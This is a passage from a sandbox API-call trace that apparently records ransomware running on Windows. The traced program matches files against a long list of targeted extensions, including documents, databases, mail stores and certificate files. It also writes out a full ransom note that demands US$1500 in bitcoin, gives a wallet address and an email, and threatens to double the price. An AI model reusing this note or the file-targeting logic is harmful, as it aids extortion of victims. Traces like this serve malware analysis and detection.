(pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.fdb") returned 0 [0125.630] lstrlenA (lpString="*.fdb") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.wab") returned 0 [0125.630] lstrlenA (lpString="*.wab") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.dat") returned 0 [0125.630] lstrlenA (lpString="*.dat") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.txt") returned 0 [0125.630] lstrlenA (lpString="*.txt") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.jpeg") returned 0 [0125.630] lstrlenA (lpString="*.jpeg") returned 6 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.jpg") returned 0 [0125.630] lstrlenA (lpString="*.jpg") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.png") returned 0 [0125.630] lstrlenA (lpString="*.png") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.php") returned 0 [0125.631] lstrlenA (lpString="*.php") returned 5 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.cs") returned 0 [0125.631] lstrlenA (lpString="*.cs") returned 4 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.cpp") returned 0 [0125.631] lstrlenA (lpString="*.cpp") returned 5 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.rar") returned 0 [0125.631] lstrlenA (lpString="*.rar") returned 5 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.zip") returned 0 [0125.631] lstrlenA (lpString="*.zip") returned 5 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.html") returned 0 [0125.631] lstrlenA (lpString="*.html") returned 6 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.htm") returned 0 [0125.631] lstrlenA (lpString="*.htm") returned 5 [0125.631] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.xlsx") returned 0 [0125.631] lstrlenA (lpString="*.xlsx") returned 6 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.xls") returned 0 [0125.632] lstrlenA (lpString="*.xls") returned 5 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mp4") returned 0 [0125.632] lstrlenA (lpString="*.mp4") returned 5 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.ppt") returned 0 [0125.632] lstrlenA (lpString="*.ppt") returned 5 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.pptx") returned 0 [0125.632] lstrlenA (lpString="*.pptx") returned 6 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.doc") returned 0 [0125.632] lstrlenA (lpString="*.doc") returned 5 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.dot") returned 0 [0125.632] lstrlenA (lpString="*.dot") returned 5 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.docx") returned 0 [0125.632] lstrlenA (lpString="*.docx") returned 6 [0125.632] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.7z") returned 0 [0125.632] lstrlenA (lpString="*.7z") returned 4 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.tar") returned 0 [0125.633] lstrlenA (lpString="*.tar") returned 5 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.bz2") returned 0 [0125.633] lstrlenA (lpString="*.bz2") returned 5 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.gz") returned 0 [0125.633] lstrlenA (lpString="*.gz") returned 4 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mkv") returned 0 [0125.633] lstrlenA (lpString="*.mkv") returned 5 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.eml") returned 0 [0125.633] lstrlenA (lpString="*.eml") returned 5 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.msg") returned 0 [0125.633] lstrlenA (lpString="*.msg") returned 5 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.edb") returned 0 [0125.633] lstrlenA (lpString="*.edb") returned 5 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.accdb") returned 0 [0125.633] lstrlenA (lpString="*.accdb") returned 7 [0125.633] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.odb") returned 0 [0125.634] lstrlenA (lpString="*.odb") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.java") returned 0 [0125.634] lstrlenA (lpString="*.java") returned 6 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.asm") returned 0 [0125.634] lstrlenA (lpString="*.asm") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.pfx") returned 0 [0125.634] lstrlenA (lpString="*.pfx") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.pem") returned 0 [0125.634] lstrlenA (lpString="*.pem") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.p12") returned 0 [0125.634] lstrlenA (lpString="*.p12") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.gpg") returned 0 [0125.634] lstrlenA (lpString="*.gpg") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.vsd") returned 0 [0125.634] lstrlenA (lpString="*.vsd") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.odg") returned 0 [0125.634] lstrlenA (lpString="*.odg") returned 5 [0125.634] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.raw") returned 0 [0125.635] lstrlenA (lpString="*.raw") returned 5 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.nef") returned 0 [0125.635] lstrlenA (lpString="*.nef") returned 5 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.svg") returned 0 [0125.635] lstrlenA (lpString="*.svg") returned 5 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.psd") returned 0 [0125.635] lstrlenA (lpString="*.psd") returned 5 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.vmx") returned 0 [0125.635] lstrlenA (lpString="*.vmx") returned 5 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.vmdk") returned 0 [0125.635] lstrlenA (lpString="*.vmdk") returned 6 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.vdi") returned 0 [0125.635] lstrlenA (lpString="*.vdi") returned 5 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.lay6") returned 0 [0125.635] lstrlenA (lpString="*.lay6") returned 6 [0125.635] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mpeg") returned 0 [0125.636] lstrlenA (lpString="*.mpeg") returned 6 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.djvu") returned 0 [0125.636] lstrlenA (lpString="*.djvu") returned 6 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.tiff") returned 0 [0125.636] lstrlenA (lpString="*.tiff") returned 6 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.backup") returned 0 [0125.636] lstrlenA (lpString="*.backup") returned 8 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.pdf") returned 0 [0125.636] lstrlenA (lpString="*.pdf") returned 5 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.cert") returned 0 [0125.636] lstrlenA (lpString="*.cert") returned 6 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.docm") returned 0 [0125.636] lstrlenA (lpString="*.docm") returned 6 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.xlsm") returned 0 [0125.636] lstrlenA (lpString="*.xlsm") returned 6 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.dwg") returned 0 [0125.636] lstrlenA (lpString="*.dwg") returned 5 [0125.636] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.nd") returned 0 [0125.636] lstrlenA (lpString="*.nd") returned 4 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.tlg") returned 0 [0125.637] lstrlenA (lpString="*.tlg") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.lgb") returned 0 [0125.637] lstrlenA (lpString="*.lgb") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mov") returned 0 [0125.637] lstrlenA (lpString="*.mov") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.xdw") returned 0 [0125.637] lstrlenA (lpString="*.xdw") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.ods") returned 0 [0125.637] lstrlenA (lpString="*.ods") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.wav") returned 0 [0125.637] lstrlenA (lpString="*.wav") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mp3") returned 0 [0125.637] lstrlenA (lpString="*.mp3") returned 5 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.aiff") returned 0 [0125.637] lstrlenA (lpString="*.aiff") returned 6 [0125.637] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.flac") returned 0 [0125.638] lstrlenA (lpString="*.flac") returned 6 [0125.638] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.m4a") returned 0 [0125.638] lstrlenA (lpString="*.m4a") returned 5 [0125.638] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.csv") returned 0 [0125.638] lstrlenA (lpString="*.csv") returned 5 [0125.638] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10dbb736, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10dbb736, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1b8f8470, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0125.638] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.638] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0125.638] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0125.638] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0125.638] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0125.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.638] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.638] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.638] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.639] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.639] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.639] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.639] CloseHandle (hObject=0xffffffff) returned 0 [0125.639] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll" [0125.639] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.ems") returned 0 [0125.639] lstrlenA (lpString="*.ems") returned 5 [0125.639] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.db") returned 0 [0125.639] lstrlenA (lpString="*.db") returned 4 [0125.639] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.dbf") returned 0 [0125.639] lstrlenA (lpString="*.dbf") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.myox") returned 0 [0125.640] lstrlenA (lpString="*.myox") returned 6 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.myo") returned 0 [0125.640] lstrlenA (lpString="*.myo") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qbw") returned 0 [0125.640] lstrlenA (lpString="*.qbw") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qbb") returned 0 [0125.640] lstrlenA (lpString="*.qbb") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qbm") returned 0 [0125.640] lstrlenA (lpString="*.qbm") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qbo") returned 0 [0125.640] lstrlenA (lpString="*.qbo") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qbx") returned 0 [0125.640] lstrlenA (lpString="*.qbx") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qba") returned 0 [0125.640] lstrlenA (lpString="*.qba") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qby") returned 0 [0125.640] lstrlenA (lpString="*.qby") returned 5 [0125.640] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qbj") returned 0 [0125.641] lstrlenA (lpString="*.qbj") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.ofx") returned 0 [0125.641] lstrlenA (lpString="*.ofx") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.qif") returned 0 [0125.641] lstrlenA (lpString="*.qif") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.mye") returned 0 [0125.641] lstrlenA (lpString="*.mye") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.mbox") returned 0 [0125.641] lstrlenA (lpString="*.mbox") returned 6 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.eml") returned 0 [0125.641] lstrlenA (lpString="*.eml") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.pst") returned 0 [0125.641] lstrlenA (lpString="*.pst") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.ost") returned 0 [0125.641] lstrlenA (lpString="*.ost") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.idx") returned 0 [0125.641] lstrlenA (lpString="*.idx") returned 5 [0125.641] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.dbx") returned 0 [0125.642] lstrlenA (lpString="*.dbx") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.sql") returned 0 [0125.642] lstrlenA (lpString="*.sql") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.mdb") returned 0 [0125.642] lstrlenA (lpString="*.mdb") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.fdb") returned 0 [0125.642] lstrlenA (lpString="*.fdb") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.wab") returned 0 [0125.642] lstrlenA (lpString="*.wab") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.dat") returned 0 [0125.642] lstrlenA (lpString="*.dat") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.txt") returned 0 [0125.642] lstrlenA (lpString="*.txt") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.jpeg") returned 0 [0125.642] lstrlenA (lpString="*.jpeg") returned 6 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.jpg") returned 0 [0125.642] lstrlenA (lpString="*.jpg") returned 5 [0125.642] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.png") returned 0 [0125.642] lstrlenA (lpString="*.png") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.php") returned 0 [0125.643] lstrlenA (lpString="*.php") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.cs") returned 0 [0125.643] lstrlenA (lpString="*.cs") returned 4 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.cpp") returned 0 [0125.643] lstrlenA (lpString="*.cpp") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.rar") returned 0 [0125.643] lstrlenA (lpString="*.rar") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.zip") returned 0 [0125.643] lstrlenA (lpString="*.zip") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.html") returned 0 [0125.643] lstrlenA (lpString="*.html") returned 6 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.htm") returned 0 [0125.643] lstrlenA (lpString="*.htm") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.xlsx") returned 0 [0125.643] lstrlenA (lpString="*.xlsx") returned 6 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.xls") returned 0 [0125.643] lstrlenA (lpString="*.xls") returned 5 [0125.643] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.mp4") returned 0 [0125.643] lstrlenA (lpString="*.mp4") returned 5 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.ppt") returned 0 [0125.644] lstrlenA (lpString="*.ppt") returned 5 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.pptx") returned 0 [0125.644] lstrlenA (lpString="*.pptx") returned 6 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.doc") returned 0 [0125.644] lstrlenA (lpString="*.doc") returned 5 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.dot") returned 0 [0125.644] lstrlenA (lpString="*.dot") returned 5 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.docx") returned 0 [0125.644] lstrlenA (lpString="*.docx") returned 6 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.7z") returned 0 [0125.644] lstrlenA (lpString="*.7z") returned 4 [0125.644] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.tar") returned 0 [0125.644] lstrlenA (lpString="*.tar") returned 5 [0125.645] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.bz2") returned 0 [0125.645] lstrlenA (lpString="*.bz2") returned 5 [0125.645] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.gz") returned 0 [0125.645] lstrlenA (lpString="*.gz") returned 4 [0125.645] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.mkv") returned 0 [0125.645] lstrlenA (lpString="*.mkv") returned 5 [0125.645] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.eml") returned 0 [0125.645] lstrlenA (lpString="*.eml") returned 5 [0125.645] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.dll", pszSpec="*.msg") returned 0 